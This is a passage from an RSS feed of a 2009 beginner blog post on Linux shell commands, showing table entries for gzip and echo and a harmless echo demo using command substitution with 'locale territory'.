&lt;/div&gt;&lt;/td&gt;    &lt;td width="314"&gt;&lt;br /&gt;
&lt;div align="left"&gt;&lt;i&gt;Gzip&lt;/i&gt; reduces the size of the named files using Lempel-Ziv coding (LZ77). Whenever possible, each file is&lt;br /&gt;
replaced by one with the extension &lt;b&gt;.gz,&lt;/b&gt; while keeping the same ownership modes, access and modification times.&lt;br /&gt;
&lt;/div&gt;&lt;/td&gt;    &lt;td width="117"&gt;&lt;br /&gt;
&lt;div align="center"&gt;&lt;a href="http://linuxmanpages.com/man1/gzip.1.php"&gt;gzip&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;
&lt;tr valign="top"&gt;    &lt;td width="92"&gt;&lt;br /&gt;
&lt;div align="center" style="text-decoration: none;"&gt;echo&lt;br /&gt;
&lt;/div&gt;&lt;/td&gt;    &lt;td width="314"&gt;&lt;br /&gt;
&lt;div align="left"&gt;Echo the STRING(s) to standard output. &lt;br /&gt;
&lt;/div&gt;&lt;/td&gt;    &lt;td width="117"&gt;&lt;br /&gt;
&lt;div align="center"&gt;&lt;a href="http://linuxmanpages.com/man1/echo.1.php"&gt;echo&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span title="Open Terminal and paste the code highlighted"&gt;&lt;br /&gt;
Now the TRICKY part TRY : &lt;span style="background-color: #134f5c; color: #f3f3f3;"&gt;echo "I live in `locale territory`"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Linux is great right ?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3927556057800641511-5395283136538863993?l=ubutrix.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/BGR0MMBxqWPk159QFGGMcurGEoo/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/BGR0MMBxqWPk159QFGGMcurGEoo/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/BGR0MMBxqWPk159QFGGMcurGEoo/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/BGR0MMBxqWPk159QFGGMcurGEoo/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ubutrix/~4/vNU-rZrNOhs" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/ubutrix/~3/vNU-rZrNOhs/shells-01-introduction-linux-commands.html</link><author>noreply@blogger.com (Anish)</author><thr:total>0</thr:total><feedburner:origLink>http://ubutrix.blogspot.com/2009/09/shells-01-introduction-linux-commands.html</feedburner:origLink></item></channel></rss>

